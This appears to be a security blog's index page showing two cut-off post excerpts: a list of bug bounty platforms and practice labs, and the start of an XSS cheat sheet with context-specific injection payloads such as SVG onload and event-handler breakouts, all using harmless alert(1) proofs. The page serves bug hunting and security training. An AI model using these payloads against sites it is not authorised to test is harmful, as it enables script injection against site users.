Bug Bounty Toolkit

Bug bounty platforms and programs Get paid for finding bugs and vulnerabilities bugcrowd https://www.bugcrowd.com/ hackerone https://www.hackerone.com/ synack https://www.synack.com/ Cobalt https://cobalt.io/ Zerocopter https://zerocopter.com/ Training Labs vulnhub https://www.vulnhub.com/ Free capture the flag virtual machines to download, run, and practice against. PentesterLab https://pentesterlab.com Free downloadable VMs and paid for online training and labs. Certainly worth checking out. Tiredful-API https://github.com/payatu/Tiredful-API... Continue Reading →

XSS Cheat Sheet

Basic and advanced exploits for XSS proofs and attacks. Work in progress, bookmark it. Technique Vector/Payload * * In URLs: & => %26 , # => %23 , + => %2B HTML Context Tag Injection <svg onload=alert(1)> "><svg onload=alert(1)// HTML Context Inline Injection "onmouseover=alert(1)// "autofocus/onfocus=alert(1)// Javascript Context Code Injection '-alert(1)-' '-alert(1)// Javascript Context Code Injection (escaping... Continue Reading →

Blog at WordPress.com.

Up ↑